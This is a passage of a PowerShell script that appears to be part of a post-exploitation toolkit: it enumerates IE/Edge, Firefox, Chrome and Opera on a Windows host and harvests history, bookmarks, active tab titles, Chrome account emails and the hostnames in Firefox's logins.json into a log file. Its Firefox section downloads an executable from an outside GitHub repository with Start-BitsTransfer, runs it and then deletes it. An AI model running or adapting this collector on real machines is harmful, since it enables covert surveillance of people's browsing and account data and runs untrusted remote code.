$ParsingData = (gp HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |Select DisplayName, DisplayVersion|?{$_.DisplayName -iMatch 'Firefox'}).DisplayVersion
$datatable.Rows.Add("IE","$IEfound","$iStatus","$IEVersion","$id")|Out-Null
$datatable.Rows.Add("CHROME","$CHfound","$cStatus","$Chrome_App","$cd")|Out-Null
$datatable.Rows.Add("FIREFOX","$FFfound","$fStatus","$ParsingData","$fd")|Out-Null
$datatable.Rows.Add("OPERA","$OPfound","$OStatus","$OPData","$OP")|Out-Null
$datatable.Rows.Add("SAFARI","$SFfound","$sfStatus","$SafariData","$SF")|Out-Null
$datatable.Rows.Add("BRAVE","$Brfound","$BrStatus","$BraveData","$Br")|Out-Null
$datatable|Format-Table -AutoSize|Out-File -FilePath "$LogFilePath\BrowserEnum.log" -Force
## Get-NetAdapter { Interfaces Available }
$Interfaces = Get-NetAdapter | Select-Object Status,InterfaceDescription -EA SilentlyContinue
If($Interfaces){echo $Interfaces >> $LogFilePath\BrowserEnum.log}
}
function OPERA {
## Retrieve Opera Browser Information
echo "`n`nOpera Browser" >> $LogFilePath\BrowserEnum.log
echo "-------------" >> $LogFilePath\BrowserEnum.log
## Set the Location of Opera prefs.js file
If(Test-Path "$Env:LOCALAPPDATA\Programs\Opera???\installer_prefs.json")
{
## Check browser: { active|StartTime|PID } Settings
$FFTestings = (Get-Process Opera -ErrorAction SilentlyContinue).Responding
If($FFTestings -eq $True){
$Status = "Status : Active"
$BsT = Get-Process Opera|Select -ExpandProperty StartTime
$StartTime = $BsT[0];$FinalOut = "StartTime : $StartTime"
$PPID = (Get-Process Opera|Select -Last 1).Id
echo "$Status" >> $LogFilePath\BrowserEnum.log
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
echo "Process PID : $PPID" >> $LogFilePath\BrowserEnum.log
}else{
$Status = "Status : Stoped"
$PSID = "Process PID : {requires Opera process running}"
$FinalOut = "StartTime : {requires Opera process running}"
echo "$Status" >> $LogFilePath\BrowserEnum.log
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
echo "$PSID" >> $LogFilePath\BrowserEnum.log
}
## Get Browser Version { 76.0.11 }
$OperaVersionData = (Get-ChildItem -Path "$Env:LOCALAPPDATA\Programs\Opera???\launcher.exe").VersionInfo.ProductVersion.ToString()
If($OperaVersionData)
{
echo "Version : $OperaVersionData" >> $LogFilePath\BrowserEnum.log
}
Else
{
echo "Version : {fail retriving version from launcher.exe}" >> $LogFilePath\BrowserEnum.log
}
## Get Opera.exe binary path
$BinaryPath = Get-Process Opera -EA SilentlyContinue|Select -Last 1
If(-not($BinaryPath) -or $BinaryPath -eq $null)
{
echo "BinaryPath : {requires Opera process running}" >> $LogFilePath\BrowserEnum.log
}
Else
{
$BinaryPath = Get-Process Opera|Select -ExpandProperty Path
$parseData = $BinaryPath[0]
echo "BinaryPath : $parseData" >> $LogFilePath\BrowserEnum.log
}
## Get brownser startup page { https://www.google.pt }
$JsPrefs = Get-content "$Env:LOCALAPPDATA\Programs\Opera???\installer_prefs.json" -EA SilentlyContinue
If($JsPrefs)
{
$ParseData = $JsPrefs -split(',');$Strip = $ParseData[38]
$ParsingData = $Strip -replace '\"}','' -replace '"}','' -replace '\"welcome-url\":\"','HomePage : '
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
Else
{
$ParsingData = "HomePage : {fail to retrieve Browser HomePage}"
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
## Get Opera Last Active Tab windowsTitle
echo "`nActive Browser Tab" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
$checkProcess = Get-Process Opera -EA SilentlyContinue
If(-not($checkProcess))
{
echo "{requires Opera process running}" >> $LogFilePath\BrowserEnum.log
}
Else
{
$StoreData = (Get-Process Opera).MainWindowTitle
$ParseData = $StoreData | where {$_ -ne ""}
$MyPSObject = $ParseData -replace '- Opera',''
echo "$MyPSObject" >> $LogFilePath\BrowserEnum.log
}
#Get browser bookmarks
echo "`nOpera Bookmarks" >> $LogFilePath\BrowserEnum.log
echo "---------------" >> $LogFilePath\BrowserEnum.log
$GETbooks = (Get-ChildItem "$Env:APPDATA\Opera Software\Opera*" -Recurse -Force -Filter "Bookmarks").FullName
If($GETbooks)
{
$JsPrefs = Get-content "$GETbooks" -ErrorAction SilentlyContinue|Select-String "`"url`":"
$ParsingData = $JsPrefs -replace '"url":','' -replace '"','' -replace ' ',''
echo $ParsingData >> $LogFilePath\BrowserEnum.log
}
Else
{
$ParsingData = "{Could not find any Bookmarks}"
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
}
Else
{
echo "{Could not find any Browser Info}" >> $LogFilePath\BrowserEnum.log
}
}
function IE_Dump {
## Retrieve IE Browser Information
echo "`n`nIE Browser" >> $LogFilePath\BrowserEnum.log
echo "----------" >> $LogFilePath\BrowserEnum.log
## New MicrosoftEdge Update have changed the binary name to 'msedge' ..
$CheckVersion = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer" -ErrorAction SilentlyContinue).version
If($CheckVersion -lt '9.11.18362.0'){$ProcessName = "MicrosoftEdge"}else{$ProcessName = "msedge"}
$IEVersion = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer" -Name 'Version' -ErrorAction SilentlyContinue|Select-Object 'Version'
If(-not($IEVersion) -or $IEVersion -eq $null){
echo "{Could not find any Browser Info}" >> $LogFilePath\BrowserEnum.log
}else{
$IEData = $IEVersion -replace '@{Version=','Version : ' -replace '}',''
$RegPrefs = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Internet Explorer\Main\" -Name 'start page'|Select-Object 'Start Page'
$ParsingData = $RegPrefs -replace '@{Start Page=','HomePage : ' -replace '}',''
$LocalPage = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Internet Explorer\Main\" -Name 'Search Page'|Select-Object 'Search Page'
$ParsingLocal = $LocalPage -replace '@{Search Page=','SearchPage : ' -replace '}',''
$IntSet = Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\internet settings" -Name 'User Agent'|Select-Object 'User Agent'
$ParsingIntSet = $IntSet -replace '@{User Agent=','UserAgent : ' -replace '}',''
$DownloadDir = Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "{374DE290-123F-4565-9164-39C4925E467B}"|findstr /I /C:"Downloads"
$ParseDownload = $DownloadDir -replace '{374DE290-123F-4565-9164-39C4925E467B} :','Downloads :'
$logfilefolder = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders").Cache
$dataparse = "INetCache : "+"$logfilefolder"
$IETestings = (Get-Process -Name "$ProcessName" -EA SilentlyContinue).Responding
If(-not($IETestings) -or $IETestings -eq $null){
$Status = "Status : Stoped"
$PSID = "Process PID : {requires $ProcessName process running}"
$FinalOut = "StartTime : {requires $ProcessName process running}"
}else{
$Status = "Status : Active"
$BrowserStartTime = (Get-Process -Name "$ProcessName").StartTime.ToString()
$StartTime = $BrowserStartTime[0];$FinalOut = "StartTime : $StartTime"
$ProcessPID = (Get-Process -Name "$ProcessName"|Select -Last 1).Id.ToString()
$PSID = "Process PID : $ProcessPID"
}
## Writting LogFile to the selected path in: { $param2 var }
echo "$Status" >> $LogFilePath\BrowserEnum.log
echo "$IEData" >> $LogFilePath\BrowserEnum.log
echo "$ParseDownload" >> $LogFilePath\BrowserEnum.log
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
echo "$ParsingLocal" >> $LogFilePath\BrowserEnum.log
echo "$dataparse" >> $LogFilePath\BrowserEnum.log
}
<#
$BinaryPathName = Get-Process $ProcessName -ErrorAction SilentlyContinue
If(-not($BinaryPathName) -or $BinaryPathName -eq $null){
echo "BinaryPath : {requires $ProcessName process running}" >> $LogFilePath\BrowserEnum.log
}else{
$BinaryPathName = (Get-Process -Name $ProcessName).Path.ToString()
$parseData = $BinaryPathName[0]
echo "BinaryPath : $parseData" >> $LogFilePath\BrowserEnum.log
}
## leak From previous Functions { StartTime|PID }
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
echo "$PSID" >> $LogFilePath\BrowserEnum.log
#>
## leak IE Last Active Tab windowsTitle
echo "`nActive Browser Tab" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
$checkProcess = Get-Process $ProcessName -ErrorAction SilentlyContinue
If(-not($checkProcess) -or $checkProcess -eq $null){
echo "{requires $ProcessName process running}`n" >> $LogFilePath\BrowserEnum.log
}else{
$StoreData = Get-Process $ProcessName | Select -ExpandProperty MainWindowTitle
$ParseData = $StoreData | where {$_ -ne ""}
$MyPSObject = $ParseData -replace '- Microsoft? Edge',''
echo "$MyPSObject`n" >> $LogFilePath\BrowserEnum.log
}
## Retrieve IE history URLs
# "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\History"
# Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Internet Explorer\TypedURLs"
echo "`nIE History" >> $LogFilePath\BrowserEnum.log
echo "----------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path -Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\History")){
## Retrieve History from ie`xplorer if not found MsEdge binary installation ..
$Finaltest = Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Internet Explorer\TypedURLs" -ErrorAction SilentlyContinue
If(-not($Finaltest) -or $Finaltest -eq $null){
echo "{Could not find any History}" >> $LogFilePath\BrowserEnum.log
}else{
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Internet Explorer\TypedURLs"|findstr /B /I "url" >> $LogFilePath\BrowserEnum.log
}
}else{
$Regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$MsEdgeHistory = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\History"
Get-Content "$MsEdgeHistory"|Select-String -Pattern $Regex -AllMatches | % { $_.Matches } | % { $_.Value } | Sort-Object -Unique >> $LogFilePath\BrowserEnum.log
}
## Retrieve IE Favorites
echo "`nIE Favorites" >> $LogFilePath\BrowserEnum.log
echo "------------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "$env:LOCALAPPDATA\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Favorites\*")){
If(-not(Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Last Tabs")){
echo "{Could not find any Favorites}" >> $LogFilePath\BrowserEnum.log
}else{
$LocalDirPath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Last Tabs"
$ParseFileData = Get-Content "$LocalDirPath"|findstr /I /C:"http" /I /C:"https"
$DumpFileData = $ParseFileData -replace '[^a-zA-Z/:. ]',''
ForEach ($Token in $DumpFileData){
$Token = $Token -replace ' ',''
echo "`n" $Token >> $LogFilePath\BrowserEnum.log
}
}
}else{
$LocalDirPath = "$env:LOCALAPPDATA\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Favorites\*"
$DumpFileData = Get-Content "$LocalDirPath" -Raw|findstr /I /C:"http" /C:"https" # Test.txt and test2.txt (test Files) ..
ForEach ($Token in $DumpFileData){
$Token = $Token -replace ' ',''
echo $Token >> $LogFilePath\BrowserEnum.log
}
}
## Retrieve IE Bookmarks
echo "`nIE Bookmarks" >> $LogFilePath\BrowserEnum.log
echo "------------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Bookmarks")){
## Leaking ie`xplore
$URLs = Get-ChildItem -Path "$Env:SYSTEMDRIVE\Users\" -Filter "*.url" -Recurse -ErrorAction SilentlyContinue
ForEach ($URL in $URLs){
if ($URL.FullName -match 'Favorites'){
$User = $URL.FullName.split('\')[2]
Get-Content -Path $URL.FullName|ForEach-Object {
try {
if ($_.StartsWith('URL')){
## parse the .url body to extract the actual bookmark location
$URL = $_.Substring($_.IndexOf('=') + 1)
if($URL -match $Search){
echo "$URL" >> $LogFilePath\BrowserEnum.log
}
}
}
catch {
echo "Error parsing url: $_" >> $LogFilePath\BrowserEnum.log
}
}
}
}
}else{
## Leaking msedge
$LocalDirPath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Bookmarks"
$DumpFileData = Get-Content "$LocalDirPath" -Raw|findstr /I /C:"http" /C:"https"
ForEach ($Token in $DumpFileData){
$Token = $Token -replace '"','' -replace 'url:','' -replace ' ',''
echo $Token >> $LogFilePath\BrowserEnum.log
}
}
}
function FIREFOX {
## Retrieve FireFox Browser Information
echo "`n`nFireFox Browser" >> $LogFilePath\BrowserEnum.log
echo "---------------" >> $LogFilePath\BrowserEnum.log
## Set the Location of firefox prefs.js file
If(Test-Path "$Env:APPDATA\Mozilla\Firefox\Profiles"){
## Check browser: { active|StartTime|PID } Settings
$FFTestings = (Get-Process Firefox -ErrorAction SilentlyContinue).Responding
If($FFTestings -eq $True){
$Status = "Status : Active"
$BsT = Get-Process Firefox|Select -ExpandProperty StartTime
$StartTime = $BsT[0];$FinalOut = "StartTime : $StartTime"
echo "$Status" >> $LogFilePath\BrowserEnum.log
}else{
$Status = "Status : Stoped"
$PSID = "Process PID : {requires Firefox process running}"
$FinalOut = "StartTime : {requires Firefox process running}"
echo "$Status" >> $LogFilePath\BrowserEnum.log
echo "$PSID" >> $LogFilePath\BrowserEnum.log
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
}
## Get Browser Version { 76.0.11 }
If(-not(Test-Path -Path "$env:APPDATA\Mozilla\Firefox\Profiles"))
{
$ParsingData = "{null}"
}
Else
{
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\prefs.js"))
{
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\prefs.js"))
{
$ParsingData = "{null}"
}
Else
{
$stupidTrick = $True
$FirefoxProfile = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\prefs.js"
$JsPrefs = Get-content $FirefoxProfile|Select-String "extensions.lastPlatformVersion"
$ParsingData = $JsPrefs -replace 'user_pref\(','' -replace '\"','' -replace ',','' -replace '\);','' -replace 'extensions.lastPlatformVersion','' -replace ' ',''
}
}
Else
{
$FirefoxProfile = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\prefs.js"
$JsPrefs = Get-content $FirefoxProfile|Select-String "extensions.lastPlatformVersion"
$ParsingData = $JsPrefs -replace 'user_pref\(','' -replace '\"','' -replace ',','' -replace '\);','' -replace 'extensions.lastPlatformVersion','' -replace ' ',''
}
}
#add data to logfile
echo "Version : $ParsingData" >> $LogFilePath\BrowserEnum.log
## Get brownser startup page { https://www.google.pt }
$JsPrefs = Get-content "$FirefoxProfile" -ErrorAction SilentlyContinue|Select-String "browser.startup.homepage"
If($stupidTrick -eq $True)
{
$ParseData = $JsPrefs -split(';');$Strip = $ParseData[0]
$ParsingData = $Strip -replace 'user_pref\(','' -replace '\"','' -replace ',',':' -replace '\)','' -replace 'browser.startup.homepage',''
echo "HomePage $ParsingData" >> $LogFilePath\BrowserEnum.log
}
Else
{
If($ParsingData -iMatch '{null}')
{
$ParsingData = " {null}"
}
Else
{
$ParsingData = $JsPrefs[0] -replace 'user_pref\(','' -replace '\"','' -replace ',',':' -replace '\);','' -replace 'browser.startup.homepage',''
}
echo "HomePage $ParsingData" >> $LogFilePath\BrowserEnum.log
}
## Get browser.download.dir { C:\Users\pedro\Desktop }
$JsPrefs = Get-Content "$FirefoxProfile" -ErrorAction SilentlyContinue|Select-String "browser.download.dir";
If(-not($JsPrefs) -or $JsPrefs -eq $null){
## Test with browser.download.lastDir
$JsPrefs = Get-Content "$FirefoxProfile" -ErrorAction SilentlyContinue|Select-String "browser.download.lastDir"
If(-not($JsPrefs) -or $JsPrefs -eq $null){
echo "Downloads : {null}" >> $LogFilePath\BrowserEnum.log
}else{
$ParsingData = $JsPrefs -replace 'user_pref\(','' -replace '\"','' -replace ',',':' -replace '\);','' -replace 'browser.download.lastDir','Downloads '
If($ParsingData -match '\\\\'){$ParsingData = $ParsingData -replace '\\\\','\'}
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
}else{
$ParsingData = $JsPrefs -replace 'user_pref\(','' -replace '\"','' -replace ',',':' -replace '\);','' -replace 'browser.download.dir','Downloads '
If($ParsingData -match '\\\\'){$ParsingData = $ParsingData -replace '\\\\','\'}
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
}else{
echo "{Could not find any Browser Info}" >> $LogFilePath\BrowserEnum.log
}
## Get Firefox.exe binary path
$BinaryPath = Get-Process firefox -ErrorAction SilentlyContinue
If(-not($BinaryPath) -or $BinaryPath -eq $null){
echo "BinaryPath : {requires firefox process running}" >> $LogFilePath\BrowserEnum.log
}else{
$BinaryPath = Get-Process firefox|Select -ExpandProperty Path
$parseData = $BinaryPath[0]
echo "BinaryPath : $parseData" >> $LogFilePath\BrowserEnum.log
}
## leak From previous Functions { StartTime|PID }
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
echo "$PSID" >> $LogFilePath\BrowserEnum.log
## Get Firefox Last Active Tab windowsTitle
echo "`nActive Browser Tab" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
$checkProcess = Get-Process firefox -ErrorAction SilentlyContinue
If(-not($checkProcess)){
echo "{requires firefox process running}`n" >> $LogFilePath\BrowserEnum.log
}else{
$StoreData = Get-Process firefox|Select -ExpandProperty MainWindowTitle
$ParseData = $StoreData | where {$_ -ne ""}
$MyPSObject = $ParseData -replace '- Mozilla Firefox',''
echo "$MyPSObject`n" >> $LogFilePath\BrowserEnum.log
}
## leak FIREFOX HISTORY URLs
# Source: https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1
echo "`nFireFox History" >> $LogFilePath\BrowserEnum.log
echo "---------------" >> $LogFilePath\BrowserEnum.log
If(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release"){
$Profiles = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release"
$Regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
Get-Content $Profiles\places.sqlite -ErrorAction SilentlyContinue|Select-String -Pattern $Regex -AllMatches | % { $_.Matches } | % { $_.Value } | Sort-Object -Unique | % {
$Value = New-Object -TypeName PSObject -Property @{
FireFoxHistoryURL = $_
}
if ($Value -match $Search) {
$ParsingData = $Value -replace '@{FireFoxHistoryURL=','' -replace '}',''
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
}
}else{
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default")){
echo "{Could not find any History}" >> $LogFilePath\BrowserEnum.log
}else{
$Profiles = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default"
$Regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
Get-Content $Profiles\places.sqlite -ErrorAction SilentlyContinue|Select-String -Pattern $Regex -AllMatches | % { $_.Matches } | % { $_.Value } | Sort-Object -Unique | % {
$Value = New-Object -TypeName PSObject -Property @{
FireFoxHistoryURL = $_
}
if ($Value -match $Search) {
$ParsingData = $Value -replace '@{FireFoxHistoryURL=','' -replace '}',''
echo "$ParsingData" >> $LogFilePath\BrowserEnum.log
}
}
}
}
## Retrieve FireFox bookmarks
echo "`nFirefox Bookmarks" >> $LogFilePath\BrowserEnum.log
echo "-----------------" >> $LogFilePath\BrowserEnum.log
$IPATH = pwd;$AlternativeDir = $False
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release")){
$Bookmarks_Path = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\bookmarkbackups\*.jsonlz4"
}else{
$AlternativeDir = $True
$Bookmarks_Path = "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\bookmarkbackups\*.jsonlz4"
}
If(-not(Test-Path -Path "$Bookmarks_Path")) {
echo "{Could not find any Bookmarks}" >> $LogFilePath\BrowserEnum.log
}else{
If($AlternativeDir -eq $True){
## Store last bookmark file into { $Final } local var
cd "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\bookmarkbackups\"
$StorePath = dir "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\bookmarkbackups\*"
$Final = $StorePath|Select-Object -ExpandProperty name|Select -Last 1
## Copy .Jsonlz4 file to $env:tmp directory
Copy-Item -Path "$Final" -Destination "$env:tmp\output.jsonlz4" -Force
}else{
## Store last bookmark file into { $Final } local var
cd "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\bookmarkbackups\"
$StorePath = dir "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\bookmarkbackups\*"
$Final = $StorePath|Select-Object -ExpandProperty name|Select -Last 1
## Copy .Jsonlz4 file to $env:tmp directory
Copy-Item -Path "$Final" -Destination "$env:tmp\output.jsonlz4" -Force
}
If(-not(Test-Path "$Env:TMP\mozlz4-win32.exe")){
## Download mozlz4-win32.exe from meterpeter github repo
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/mozlz4-win32.exe -Destination $Env:TMP\mozlz4-win32.exe -ErrorAction SilentlyContinue|Out-Null
cd $Env:TMP
## Convert from jsonlz4 to json
.\mozlz4-win32.exe --extract output.jsonlz4 output.json
$DumpFileData = Get-Content "$env:tmp\output.json" -Raw
$SplitString = $DumpFileData.split(',')
$findUri = $SplitString|findstr /I /C:"uri"
$Deliconuri = $findUri|findstr /V /C:"iconuri"
$ParsingData = $Deliconuri -replace '"','' -replace 'uri:','' -replace '}','' -replace ']',''
echo $ParsingData >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$env:tmp\output.json" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:tmp\output.jsonlz4" -Force -ErrorAction SilentlyContinue
<#
.SYNOPSIS
mozlz4-win32.exe Firefox Fail dependencie bypass
.DESCRIPTION
I cant use 'ConvertFrom-Json' cmdlet because it gives 'primitive
JSON invalid error' parsing .jsonlz4 files to TEXT|CSV format ..
#>
## [ deprecated function ]
# $Json = Get-Content "$Bookmarks_Path" -Raw
# $Regex = $Json -replace '[^a-zA-Z0-9/:. ]','' # Replace all chars that does NOT match the Regex
# ForEach ($Key in $Regex){
# echo "`n" $Key >> $LogFilePath\BrowserEnum.log
# }
}Else{
cd $Env:TMP
## Convert from jsonlz4 to json
.\mozlz4-win32.exe --extract output.jsonlz4 output.json
$DumpFileData = Get-Content "$env:tmp\output.json" -Raw
$SplitString = $DumpFileData.split(',')
$findUri = $SplitString|findstr /I /C:"uri"
$Deliconuri = $findUri|findstr /V /C:"iconuri"
$ParsingData = $Deliconuri -replace '"','' -replace 'uri:','' -replace '}','' -replace ']',''
echo $ParsingData >> $LogFilePath\BrowserEnum.log
Remove-Item -Path "$env:tmp\output.json" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "$env:tmp\output.jsonlz4" -Force -ErrorAction SilentlyContinue
}
}
cd $IPATH
If(Test-Path "$Env:TMP\output.jsonlz4"){Remove-Item -Path "$Env:TMP\output.jsonlz4" -Force}
If(Test-Path "$Env:TMP\mozlz4-win32.exe"){Remove-Item -Path "$Env:TMP\mozlz4-win32.exe" -Force}
## Retrieve Firefox logins
echo "`nEnumerating LogIns" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\logins.json"))
{
If(-not(Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\logins.json"))
{
echo "{None URL's found}" >> $LogFilePath\BrowserEnum.log
}else{
$ReadData = Get-Content "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\logins.json"
$SplitData = $ReadData -split(',')
$ParseData = $SplitData|findstr /I /C:"http" /I /C:"https"|findstr /V /C:"httpRealm" /V /C:"formSubmitURL"
$Json = $ParseData -replace '":','' -replace '"','' -replace 'hostname',''
echo $Json >> $LogFilePath\BrowserEnum.log
}
}else{
$ReadData = Get-Content "$env:APPDATA\Mozilla\Firefox\Profiles\*.default\logins.json"
$SplitData = $ReadData -split(',')
$ParseData = $SplitData|findstr /I /C:"http" /I /C:"https"|findstr /V /C:"httpRealm" /V /C:"formSubmitURL"
$Json = $ParseData -replace '":','' -replace '"','' -replace 'hostname',''
echo $Json >> $LogFilePath\BrowserEnum.log
}
}
function CHROME {
## Retrieve Google Chrome Browser Information
echo "`n`nChrome Browser" >> $LogFilePath\BrowserEnum.log
echo "--------------" >> $LogFilePath\BrowserEnum.log
$Chrome_App = Get-ItemProperty 'HKCU:\Software\Google\Chrome\BLBeacon' -ErrorAction SilentlyContinue
If(-not($Chrome_App) -or $Chrome_App -eq $null){
echo "{Could not find any Browser Info}" >> $LogFilePath\BrowserEnum.log
}else{
## Test if browser its active
$Preferencies_Path = get-content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences" -ErrorAction SilentlyContinue
$CHTestings = (Get-Process Chrome -ErrorAction SilentlyContinue).Responding
If($CHTestings -eq $True){
$Status = "Status : Active"
## Get Browser startTime
$BsT = Get-Process Chrome|Select -ExpandProperty StartTime
$StartTime = $BsT[0];$FinalOut = "StartTime : $StartTime"
$SSID = get-process Chrome|Select -Last 1|Select-Object -Expandproperty Id
$PSID = "Process PID : $SSID"
}else{
$Status = "Status : Stoped"
$PSID = "Process PID : {requires Chrome process running}"
$FinalOut = "StartTime : {requires Chrome process running}"
}
echo "$Status" >> $LogFilePath\BrowserEnum.log
## Retrieve Browser accept languages
If($Preferencies_Path){
$Parse_String = $Preferencies_Path.split(",")
$Search_Lang = $Parse_String|select-string "accept_languages"
$Parse_Dump = $Search_Lang -replace '"','' -replace 'intl:{','' -replace ':',' : ' -replace 'accept_languages','Languages'
If(-not($Parse_Dump) -or $Parse_Dump -eq $null){
echo "Languages : {null}" >> $LogFilePath\BrowserEnum.log
}else{
echo "$Parse_Dump" >> $LogFilePath\BrowserEnum.log
}
}
## Retrieve Browser Version
$GCVersionInfo = (Get-ItemProperty 'HKCU:\Software\Google\Chrome\BLBeacon').Version
echo "Version : $GCVersionInfo" >> $LogFilePath\BrowserEnum.log
## Retrieve Download Folder (default_directory) Settings
If($Preferencies_Path){
$Parse_String = $Preferencies_Path.split(",")
$Download_Dir = $Parse_String|select-string "savefile"
If(-not($Download_Dir) -or $Download_Dir -eq $null){
echo "Downloads : $env:userprofile\Downloads" >> $LogFilePath\BrowserEnum.log
}else{
$Parse_Dump = $Download_Dir -replace '"','' -replace '{','' -replace '}','' -replace 'default_directory:','' -replace 'savefile:','Downloads : '
If($Parse_Dump -match '\\\\'){$Parse_Dump = $Parse_Dump -replace '\\\\','\'}
echo "$Parse_Dump" >> $LogFilePath\BrowserEnum.log
}
}
## leak Chrome.exe binary path
$BinaryPath = Get-Process chrome -ErrorAction SilentlyContinue
If(-not($BinaryPath) -or $BinaryPath -eq $null){
echo "BinaryPath : {requires chrome process running}" >> $LogFilePath\BrowserEnum.log
}else{
$BinaryPath = Get-Process chrome|Select -ExpandProperty Path
$parseData = $BinaryPath[0]
echo "BinaryPath : $parseData" >> $LogFilePath\BrowserEnum.log
}
echo "$FinalOut" >> $LogFilePath\BrowserEnum.log
echo "$PSID" >> $LogFilePath\BrowserEnum.log
## leak Chrome Last Active Tab windowsTitle
echo "`nActive Browser Tab" >> $LogFilePath\BrowserEnum.log
echo "------------------" >> $LogFilePath\BrowserEnum.log
$checkTitle = Get-Process chrome -ErrorAction SilentlyContinue
If(-not($checkTitle)){
echo "{requires chrome process running}`n" >> $LogFilePath\BrowserEnum.log
}else{
$StoreData = Get-Process chrome|Select -ExpandProperty MainWindowTitle
$ParseData = $StoreData|where {$_ -ne ""}
$MyPSObject = $ParseData -replace '- Google Chrome',''
## Write my PSobject to logfile
echo "$MyPSObject`n" >> $LogFilePath\BrowserEnum.log
}
## Retrieve Email(s) from Google CHROME preferencies File ..
If($Preferencies_Path){
$Parse_String = $Preferencies_Path.split(",")
$Search_Email = $Parse_String|select-string "email"
$Parse_Dump = $Search_Email -replace '"','' -replace 'email:',''
If(-not($Search_Email) -or $Search_Email -eq $null){
echo "Email : {None Email's Found}`n" >> $LogFilePath\BrowserEnum.log
}else{
## Build new PSObject to store emails found
$Store = ForEach ($Email in $Parse_Dump){
New-Object -TypeName PSObject -Property @{
Emails = $Email
}
}
## Write new PSObject to logfile
echo $Store >> $LogFilePath\BrowserEnum.log
}
}
}
## Retrieve Chrome History
# Source: https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-BrowserData.ps1
echo "`nChrome History" >> $LogFilePath\BrowserEnum.log
echo "--------------" >> $LogFilePath\BrowserEnum.log
If(-not(Test-Path -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History")){
echo "{Could not find any History}" >> $LogFilePath\BrowserEnum.log
}else{
$Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
$History_Path = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History"
$Get_Values = Get-Content -Path "$History_Path"|Select-String -AllMatches $Regex |% {($_.Matches).Value} |Sort -Unique
$Get_Values|ForEach-Object {
$Key = $_
if ($Key -match $Search){
echo "$_" >> $LogFilePath\BrowserEnum.log
}
}
}
## Retrieve Chrome bookmarks
echo "`nChrome Bookmarks" >> $LogFilePath\BrowserEnum.log
echo "----------------" >> $LogFilePath\BrowserEnum.log
